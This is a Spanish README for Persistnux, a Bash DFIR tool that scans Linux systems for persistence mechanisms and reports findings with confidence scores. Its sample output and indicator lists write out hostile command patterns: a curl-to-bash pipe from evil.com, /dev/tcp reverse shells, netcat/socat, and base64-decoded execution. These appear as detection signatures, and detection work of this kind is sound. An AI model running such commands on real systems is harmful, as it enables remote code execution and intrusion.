
Persistnux — Actualizado!
Herramienta de detección de persistencia en Linux basada en Bash para investigaciones DFIR. Escanea más de 15 mecanismos de persistencia (systemd, cron, módulos del kernel, SSH, contenedores) con puntuación de confianza y genera informes CSV/JSONL para análisis forense.
Persistnux
Una herramienta integral de detección de persistencia en Linux para investigaciones de Informática Forense y Respuesta a Incidentes (DFIR).
Resumen
Persistnux es una herramienta basada en Bash diseñada para identificar mecanismos de persistencia conocidos en Linux utilizados por atacantes para mantener el acceso a sistemas comprometidos. Realiza comprobaciones exhaustivas en el sistema y genera informes detallados en formato CSV y JSONL para su posterior análisis.
Características
- Detección exhaustiva: Cubre todos los mecanismos principales de persistencia en Linux
- Análisis en vivo: Se ejecuta directamente en sistemas en funcionamiento con dependencias mínimas
- Salida detallada: Genera informes CSV y JSONL con hashes de archivos, metadatos y puntuaciones de confianza
- Root y no root: Funciona con o sin privilegios de root (con alcance limitado para no root)
- Preparado para DFIR: Formatos de salida compatibles con herramientas y flujos de trabajo DFIR comunes
- Puntuación de sospecha: Puntuación automática de confianza (BAJA, MEDIA, ALTA, CRÍTICA) basada en indicadores
- Reducción de falsos positivos: Integración con gestores de paquetes y listas blancas de servicios conocidos
- Análisis basado en tiempo: Los archivos modificados recientemente reciben puntuaciones de confianza más altas
- Coincidencia de patrones: Detecta shells inversas, patrones de descarga-ejecución, técnicas de ofuscación
Mecanismos de persistencia detectados
1. Servicios Systemd
- Archivos de servicio (
.service) en/etc/systemd/system,/lib/systemd/system,/usr/lib/systemd/system - Servicios systemd a nivel de usuario
- Filtra servicios deshabilitados y servicios sin ExecStart
- Detecta comandos ExecStart sospechosos
- Verifica la integridad del paquete de los binarios/scripts ejecutados
2. Tareas Cron y Tareas Programadas
- Crontabs del sistema (
/etc/crontab,/etc/cron.d/*) - Directorios de ejecución periódica (
/etc/cron.{daily,hourly,weekly,monthly}) - Crontabs de usuario para todos los usuarios (modo root)
- Trabajos At
- Patrones de comandos sospechosos en tareas programadas
- Archivos ACL
/etc/cron.allowy/etc/cron.deny: se marcan entradas que referencian usuarios inexistentes
3. Perfiles de Shell y Archivos RC
- Perfiles del sistema (
/etc/profile,/etc/bash.bashrc,/etc/zshrc) - Scripts Profile.d (
/etc/profile.d/*) - Perfiles de usuario (
.bashrc,.bash_profile,.zshrc,.profile, etc.) - Configuraciones de Fish shell
- Detecta comandos maliciosos en archivos de perfil
4. Scripts Init y RC.local
/etc/rc.localy variantes- Scripts Init de SysV (
/etc/init.d) - Scripts de nivel de ejecución (
/etc/rc*.d) - Detecta comandos sospechosos de descarga/ejecución
5. Módulos del Kernel y Precarga de Bibliotecas
- Configuraciones LD_PRELOAD (
/etc/ld.so.preload): cada biblioteca listada se verifica mediante el gestor de paquetes - Configuraciones del enlazador dinámico (
/etc/ld.so.conf,/etc/ld.so.conf.d/): se escanea la integridad de los archivos de configuración y se verifican los archivos.soen rutas no estándar - LD_PRELOAD/LD_LIBRARY_PATH en
/etc/environment: el archivo de entorno se marca como ALTO; las rutas de bibliotecas referenciadas se verifican (no gestionadas/modificadas → CRÍTICO) - Parámetros de módulos del kernel (
/etc/modprobe.d/,/etc/modprobe.conf): integridad del archivo; se analizan las directivasinstallen busca de objetivos de comando sospechosos; elblacklistde módulos de seguridad (apparmor, selinux, seccomp) se marca como ALTO - Configuraciones de carga automática de módulos del kernel (
/etc/modules,/etc/modules-load.d/): integridad de la configuración; los nombres de módulos referenciados se resuelven a archivos.komediantemodinfoy se verifican - Módulos del kernel cargados (
lsmod): enumeración y verificación de integridad
6. Mecanismos adicionales
- Entradas de inicio automático XDG (
.config/autostart,/etc/xdg/autostart): se escanean todos los directorios de usuario cuando se ejecuta como root - Archivos de entorno del sistema (
/etc/environment): se verifican las rutas de bibliotecas LD_PRELOAD/LD_LIBRARY_PATH - Configuraciones de sudoers y archivos de inclusión (
/etc/sudoers,/etc/sudoers.d/): patrones NOPASSWD/ALL → ALTO - PAM (Módulos de autenticación conectables):
- Todos los módulos
.sose verifican mediante el gestor de paquetes; se siguen las directivas@include; se incluye/etc/pam.conf - Análisis de scripts
pam_exec.so: scripts faltantes/sospechosos → CRÍTICO - Detección de relés
pam_python.so/pam_perl.so: el script se extrae y analiza - Detección de archivos hook
pam_script.soen/etc/security/ - Integridad del archivo de configuración: configuraciones PAM modificadas propiedad del paquete → CRÍTICO
- Verificación de bibliotecas LD_PRELOAD en
pam_env.confy~/.pam_environment - Escaneo general de
/etc/security/
- Todos los módulos
- Scripts MOTD (
/etc/update-motd.d/): verificación del paquete; modificado → CRÍTICO - Ayudantes de credenciales Git y configuración core.pager: análisis de contenido para todos los usuarios
- Webshells en directorios web comunes
8. Persistencia SSH
~/.ssh/authorized_keyspor usuario: claves modificadas recientemente marcadas; se analiza el contenido de la opcióncommand=en busca de patrones sospechosos~/.ssh/rcpor usuario: presencia marcada como MEDIA; contenido sospechoso/shell inversa → ALTO/CRÍTICO
9. Secuestro de binarios
- Verifica los binarios del sistema instalados contra la base de datos de paquetes (
dpkg -Ven Debian/Ubuntu,rpm -Vaen RHEL/CentOS) - Archivos modificados en
/usr/bin,/usr/sbin,/bin,/sbin→ hallazgo CRÍTICO - Módulos PAM modificados en
/lib/security→ hallazgo CRÍTICO - Los archivos de configuración (conffiles de dpkg) se excluyen para evitar falsos positivos
10. Gestor de arranque e Initramfs
- Inyección del parámetro del kernel
init=en GRUB (/etc/default/grub,/etc/default/grub.d/*.cfg) - Scripts init descartados a nivel raíz en
/ - Módulos Dracut initramfs con hooks
pre-pivotque escriben en/sysroot/etc/shadow - Scripts hook de initramfs-tools de Ubuntu en
/etc/initramfs-tools/scripts/y/hooks/ - Imágenes
/boot/initrd.img-*modificadas recientemente (basado en mtime)
11. Manipulación de Polkit (PolicyKit)
- Archivos
.pklaconResultAny/ResultInactive/ResultActive=yesincondicionales - Concesiones de identidad comodín (
unix-user:*) - Archivos
.rulesconpolkit.Result.YESincondicional (Polkit basado en JavaScript >= 0.106)
12. D-Bus y NetworkManager
- Registro malicioso de servicio de sistema D-Bus
Exec=(/usr/share/dbus-1/system-services/) - Directivas de política D-Bus comodín
allow own="*"osend_destination="*" - Scripts de despachador de NetworkManager (
/etc/NetworkManager/dispatcher.d/)
13. Reglas Udev
- Directivas Udev
RUN+=que ejecutan comandos o scripts arbitrarios (/etc/udev/rules.d/,/lib/udev/rules.d/) - Reglas inyectadas en tiempo de ejecución en
/run/udev/rules.d/ - Patrones de delegación
at/cronenRUN+=(evasión común de restricciones de primer plano)
14. Escape de contenedores
- Contenedores Docker privilegiados (
--privileged,--pid=host) - Montajes bind de
docker.socken contenedores (control total del host a través de la API de Docker) nsenter -t 1en puntos de entrada de contenedores o Dockerfiles- Dockerfiles en directorios editables por el usuario que contienen técnicas de escape
15. Comprobaciones avanzadas de binarios y privilegios
- Escaneo activo del sistema de archivos SUID/SGID en directorios del sistema
- Escaneo de capacidades de archivos mediante
getcap:cap_setuid+epen GTFOBins → CRÍTICO - Secuestro de binarios: originales renombrados (
.original,.old,.bak,.real) con scripts envoltorio - Cuentas no root con UID 0 en
/etc/passwd - Enmascaramiento de shell mediante espacio final en el campo shell de
/etc/passwd - Cuentas del sistema (UID 1-999) con archivos
authorized_keysSSH
Instalación
# Clone the repository
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# Make the script executable
chmod +x persistnux.sh
Uso
Uso básico (análisis en vivo)
# Run with default settings (shows only suspicious findings)
sudo ./persistnux.sh
# Show help and all options
./persistnux.sh --help
# Run as regular user (limited scope)
./persistnux.sh
Opciones de filtrado (v2.4+)
De forma predeterminada, Persistnux muestra solo hallazgos sospechosos (confianza MEDIA, ALTA, CRÍTICA) para reducir el ruido y centrarse en amenazas procesables.
# Default: Show only suspicious findings
sudo ./persistnux.sh
# Show all findings including baseline (LOW confidence)
sudo ./persistnux.sh --all
# OR
sudo FILTER_MODE=all ./persistnux.sh
# Show only HIGH and CRITICAL confidence findings
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# Combine filters: HIGH confidence only
sudo ./persistnux.sh --min-confidence HIGH
Directorio de salida personalizado
# Specify custom output directory
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# Combine with filtering
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
Archivos de salida
De forma predeterminada, Persistnux crea un directorio de salida ./persistnux_output/ que contiene:
persistnux_<hostname>_<timestamp>.csv- Informe en formato CSVpersistnux_<hostname>_<timestamp>.jsonl- Informe en formato JSONL (un objeto JSON por línea)persistnux_<hostname>_<timestamp>_report.txt- Informe resumen legible por humanos con recuentos de hallazgos y metadatos del escaneo
Formato de salida
Formato CSV
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
Formato JSONL
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
Campos clave de salida
- matched_pattern: El patrón de detección que activó el hallazgo (ej.,
suspicious_script_content,modified_package,unmanaged_binary) - matched_string: El contenido sospechoso real encontrado (línea completa, no solo la palabra clave)
Puntuación de confianza
Persistnux utiliza una puntuación de confianza inteligente para reducir los falsos positivos:
- BAJA: Configuración estándar del sistema, baja sospecha (a menudo archivos gestionados por paquetes)
- MEDIA: Potencialmente sospechosa pero podría ser legítima
- ALTA: Se detectaron patrones sospechosos (ej., curl/wget en cron, ejecución en /tmp, shells inversas)
- CRÍTICA: Evidencia definitiva de manipulación: fallo de verificación de integridad del paquete, SUID/SGID en un archivo sospechoso, anomalía en módulo PAM, generador systemd en ubicación efímera o código de intérprete en línea con carga útil de alta entropía
Reducción de falsos positivos (v1.2+)
Persistnux ahora incluye varias características para reducir los falsos positivos:
- Integración con el gestor de paquetes: Los archivos gestionados por
dpkg(Debian/Ubuntu) orpm(RedHat/CentOS) reciben puntuaciones de confianza más bajas - Lista blanca de servicios conocidos: Los servicios comunes de proveedores (systemd-, dbus-, snap.*, etc.) se omiten automáticamente
- Puntuación basada en tiempo: Los archivos modificados recientemente (<7 días) reciben puntuaciones de confianza más altas
- Análisis contextualizado: Combina múltiples indicadores para una detección más precisa
Indicadores sospechosos
Persistnux marca automáticamente los elementos con mayor confianza cuando detecta:
Patrones basados en red
- Shells inversas:
bash -i >& /dev/tcp/,sh -i >& /dev/udp/ - Herramientas de red:
nc,netcat,socat,telnet - Operaciones de socket en lenguajes de scripting:
python -c 'import socket'
Patrones de descarga y ejecución
- Herramientas de descarga:
curl | bash,wget | sh - Descarga con ejecución:
curl URL -o /tmp/file && chmod +x
Técnicas de ofuscación
- Codificación:
base64 -d | bash,eval $(echo BASE64) - Ejecución dinámica:
eval,exec
Ubicaciones sospechosas
- Directorios temporales:
/tmp,/dev/shm,/var/tmp - Directorios y archivos ocultos
Manipulación de permisos
- Hacer archivos ejecutables:
chmod +x,chmod 777 - Manipulación del bit SUID:
chmod u+s
Requisitos
- Bash 4.0+
- Utilidades Unix estándar:
find,grep,stat,sha256sum,awk,file - Opcional:
systemctl,lsmod,modinfo,getcap,dpkg/rpm(para comprobaciones específicas) - Sin dependencia de intérprete (bash puro + coreutils; no se requiere
python/jq) - Se recomienda acceso root/sudo para un análisis exhaustivo
Probado en / Compatibilidad
| Distribución | Estado | Notas |
|---|---|---|
| Ubuntu 22.04 LTS | ✅ Probado | Plataforma principal de desarrollo y pruebas |
| Ubuntu 20.04 LTS | ✅ Probado | Totalmente compatible |
| Debian 11/12 | ✅ Probado | Basado en dpkg, mismas convenciones de rutas |
| Kali Linux (rolling) | ✅ Probado | Utilizado para el benchmark de detección PANIX (ver más abajo) |
| RedHat / RHEL | ⚠️ Aún no probado | El soporte para rpm está implementado pero no verificado en sistemas en vivo |
| Fedora | ⚠️ Aún no probado | El soporte para rpm está implementado pero no verificado en sistemas en vivo |
| CentOS / AlmaLinux / Rocky | ⚠️ Aún no probado | El soporte para rpm está implementado pero no verificado en sistemas en vivo |
Nota: La herramienta se ha probado principalmente en sistemas Ubuntu/Debian. Las distribuciones basadas en RedHat, Fedora y RPM tienen soporte para el gestor de paquetes implementado en el código pero no se han validado en entornos de prueba en vivo. Se agradecen las contribuciones e informes de prueba para distribuciones basadas en RPM.
Pruebas / Benchmark
Persistnux se compara con PANIX,
que instala los mismos mecanismos de persistencia que Persistnux busca. El
entorno de pruebas repetible en tests/panix_benchmark.sh aplica cada
técnica de PANIX, ejecuta Persistnux y confirma la detección mediante una diferencia de línea base.
Cada técnica PANIX basada en archivos que se aplica en el equipo de prueba se detecta con
confianza MEDIA+. Consulte PANIX_BENCHMARK.md para obtener la tabla de cobertura completa y la metodología.
⚠️ El benchmark instala puertas traseras reales; ejecútelo solo en una máquina virtual desechable.
Hoja de ruta
- Modo de análisis sin conexión para imágenes de discos forenses
- Integración con la recopilación UAC (Colector de Artefactos de tipo Unix)
- Extender el benchmark PANIX a vectores de gestor de arranque/initramfs/LKM en una VM completa
Recursos
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX
Contribuciones
¡Las contribuciones son bienvenidas! No dude en enviar pull requests o abrir issues para:
- Detección de nuevos mecanismos de persistencia
- Corrección de errores
- Mejoras en la documentación
- Optimizaciones de rendimiento
- Formatos de salida adicionales
Licencia
Licencia MIT - Consulte el archivo LICENSE para más detalles.
Agradecimientos
Desarrollado para la comunidad DFIR para ayudar en la respuesta a incidentes en Linux y las investigaciones forenses.
Aviso legal
Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas, respuesta a incidentes y análisis forense. Los usuarios son responsables de asegurarse de tener la autorización adecuada antes de ejecutar esta herramienta en cualquier sistema.
Contacto
Para preguntas, problemas o contribuciones, utilice el rastreador de issues de GitHub.